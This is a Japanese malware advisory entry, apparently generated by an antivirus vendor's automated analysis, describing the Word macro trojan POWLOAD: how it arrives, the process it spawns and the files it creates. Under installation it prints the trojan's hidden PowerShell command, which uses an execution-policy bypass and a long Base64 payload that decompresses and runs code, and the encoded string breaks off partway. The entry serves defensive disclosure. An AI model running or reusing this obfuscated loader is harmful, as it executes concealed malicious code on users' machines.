Trojan.W97M.POWLOAD.TIOIBELD

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

• powershell.exe -exec bypass -Noninteractive -windowstyle hidden -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKABbAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtAF0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEgANABzAEkAQQBIAFoAWQBpAGwANABDAC8ANQAxAFcAVwAxAFAAaQBTAGgAQgArAHoANgArAFkAUwB1AFcAQgByAEcAUwA0AHEASwB4AEgAaQBnAGUATQB1AEwASQByAHkAQQBMAHIAVgBxADEAbABuAFIAcQBTAEIAawBaAEMASgBqAHUAWgBLAE0AagBoAHYANQArAGUASgBGAHgAMABWADkAMQB6AEwAQgArAFkAbgByADUAOQAzAGQAOQAwADUAMwBhAHcAagBCAFgATQBhAFIAYwBVAEgAWQBCADgANABCADcAMABCAEEAOQBWAGgANABWAHMAQQB2AEwAdQA5AEYAUgBMAFEAYgBvAGcARgBSADkAegBqAHkAbQA0AFkAUQBIADMAbQBlAEkAaQBkAEYAawBRAGoASgBnADMASQB3ADIAeQBzAHAAUgBNAFkARwAxAFkAcwBkAGMAdwBwADAAcABGADgAVwBtAHAAVgBLADEAVQA2AGMAYwBLAHIAUgA2AGQAMABLAFAAYQA2AGQASABSAG8AWQBuADMAYgAxAHkAWABsAEcAUQArAFMAQwBlAEoAMABEACsAVQBUAEcATwBjAGgASgA0AE8AUgBOAHgAbQBoAHgAUwBzAEcAUwB5AEwAVgB2AHYARwBYAGgAbABLAEwAagBFAGsAdwA4AEIAZABlAEgAUwB1AFIALwBmAGcASwBXAEwAbQBXAEEAYgBnAEoAWgBLAHIASgBYAFgAbABNAGwASgBpAEkAbABrADAAWABkAEkAKwB2AHcAOQA5AEIAawBHAEcAegBEAGUATgBOAFUARQAwADMAdgBTAC8AKwBtAGwAQwBuAEoAMAAzADUAWgBMAGkAZwBXAFAAVwBKAG8ASgBuAHQAQwBOADgAUQBHACsAMwBiADcAcAB3AGUAVABRAEYAcQBWAFcAeAB2AHUANgBaAHEAdwAxADcAegBQAGQANQBPAEgAbgBYAE4AdABmAEwAagBYACsAQQBGAEwARQAyAFAAdwB1AEUATgB4AHYAdwBKAHgAMgA4AFUAagAzAFIAbwBpACsAdwB6AEEAWABWADQANQByAEIAeAAxAGgAQQByAEoAMgB4ADIAdgB5AGsARQAxAEQARABaAFEAUQBGAG0AMwBiAFoASABJAGcARABQAHgARwA2AGsAdQBqAGQAUgBEAFgAMAAwAEwANwBaAFMAOABjAFYASQBmAEoAQQBZAGQAQQBMAEsAZQBaAG4ATABJAGIAYQBVAGEAYQBkACsAbAAwAGIARQBNAFMAdwBNADAAUABaADIAbABoAG4AcwBiAEIAdgAyADcAagA0ACsALwAzAEEAbQBQAG8AZgBSAHQAYQB1ADkAMABKAG4AaABsAHEAcQBnADEAdABzAHYAYQBOAFEAcQArAHQAdQBLAEoAUwBFAFMAQwBGAHIAdABCAGQAaQBDAEEAdABGAFcANgBFAG4AZABHADAAeAAwAEwAZgBoAHgAUQBuADkAQgBPAHAAcwBxAFMAQQB1AGEAQQBNAGoAWgBZAG4AbQBvAGYAWgBoAFcATABxAHUARwBOAEMAVgBnAEYAUgBGAHkANwBSAEgAcwBvAEIANgBZADMAMABEAGQAQwBoAFoARwBJACsARgBuAEYALwB3AGsAQQBWAHAAZgB3AHIAVwBxAEUAagBLAFIAVwBLAE4ANgBCAFcARQBFAHoAVwAxAGoAZABzAFIAUgByAGkAOQB1AHkATgBXAGwARABuAEUANABoADAAUQBhADIAegA4AEMAbgA0AG8AbgBrAE8AUABiAEcATQBQADMAbgBsAHIAQwB3ADkAQwA3AHkAVwArAHQAMABxAG8AMQBRADAAcgBhADkAcgBvAHQAawB4AHAANQBmAGoAdQBPAFYAcgBkAFQATQBQAHkAOQB4AEcAZgB3AHgANwBpAFIATgAvADQAcgB5AEsAdQAxAFAAWQBnAEUAdwBmAFAAdAB2AEYAZQA0AFQAZgBKAEoAZgBZAGUAUgBwAFEANwAzADIASABrAEIAUgB4AEMAaABXAGgAZABJAFcAWQBjAGIATABMAEsAawBpAHYAbwArADMATgBNAGoAagBnAFgAbQBBAFgARABsACsAegA3AHAAVQA2AG4AdABNAFEALwAwADYANQBuAFcAcgBkADYAdABpAGcAKwAxADgAKwBuAHgAMgBRAE0AcgBRAFgAegBWAE0ASAB5AGkALwB2AGEAUgBTAHQATQBnAGsARABiAHoARgA2ADMATQBjAHUAMQBFAHYANQBYAHkAOQBXAEsAKwBYAHYAcgBqAFAATABFAEMAUgBRAFcAQwBCAE8ARgBCAFYAZgBJAHkAeQBRAEcARwBXAHIAcQBOADQAaQBKAE0AegBGAGkAYwBmAHcAbwBwAEwAOAA1AFMAcgBGAFkASgBqAEwASQBqADQALwBlADgALwBHADAATgA3AEcAeABHAEcANQBhAGoATABwAGgAVwBOAE0ARwBhAHEAYwBCAHMAYwBnAHMAOQBFAGsAQgBPAFIASgBqADIAMgBPAHMAbgBXAEsAagBBAEsAaAA3ADEAYgAvAEoAegByAFQARAA3AG8AVQBrAHoAawBTAFIAcQBtADEAagBaAGgAaQBHAFgAbwBJAGUAdgB6AEYAdAArAG4ANwBCAHYAQgBTAHgAUQBpAEQAVAAvAEgAbgB4AE0AZgBxADEAVgB6AGoAZgBKAFkALwBVADYAZAA0AFkAdAAvAFQARgB5ADkARgBkADMAeQBwADYATAB6AFQAMQBuAEgAdwBaADYAeAB2AFcAdwAyAGwATwBFAEEAagBXAHMAUwBPAGUAZQBCAEMAdwAwAGoARQB0AGsAOABKADMASAB2AHIAaQBNAFMAYgBkAEkAYQBtAFUAYQBiAGwATwBVAEYAQQA3AHEAcABOAEYANwBjAGcAbQB6AFMAZwBLAEEARwB2AHcAaABhAHYAUwA4AGUARgBIAGUAbABnAGoAaABTACsAWAB3ADgANQBWAGsAUQBSADgAQgBzAGcAWABiAHkAWgBzADQAawA2AFIAOAAxAEQANgBXAEsATgBsAGUAbgBoAFMALwBvAHQAVwB5AG0AVQB5AFkARwBNAG0AZQBXADYARwBZACsAZQBYAG4AUABvAHcAQgBvAGwAagB2AFcAagBpAGIAVgByAFcAVABWADkAUwB3AGoAMQBHAGIAMwBXAGwAcAAxAFYAMwBGAHMAVgAwAE8AMgA3ADQAcwBPADEAKwAyAHEAVgB0ADkAMQBPADMAdgBjAEYAQQBQADcAegBzAHUAUQA2AEYAawB5ADQAQgB5AEYANwBEAFQAcABVADQAegBiAGcAWABNAEIANwBxADUANQBPAHkAMwBRAE8AawBLAHMANQBWAFQANABJAGYAbwA0AGMAUQBNAHgATgBaAFoAbgBHAFcAMgBUAHoAZABlADMATwBzAE0AVwBXAEoARQB2AE4AMABnADkAUABlAEEATgArAHoAagAwAEwATwBBAHIATABOAHIASwBqAHoAcQBHAHUAUQBkAEgAZQB0ADMAVwA1AEQAMQBIAEYAOQBhA

作成活動

マルウェアは、以下のファイルを作成します。

• %Application Data%\Microsoft\UProof\ExcludeDictionaryEN0409.lex
• {malware file path and name}

(註：%Application Data%フォルダは、現在ログオンしているユーザのアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Roaming" です。)

このウイルス情報は、自動解析システムにより作成されました。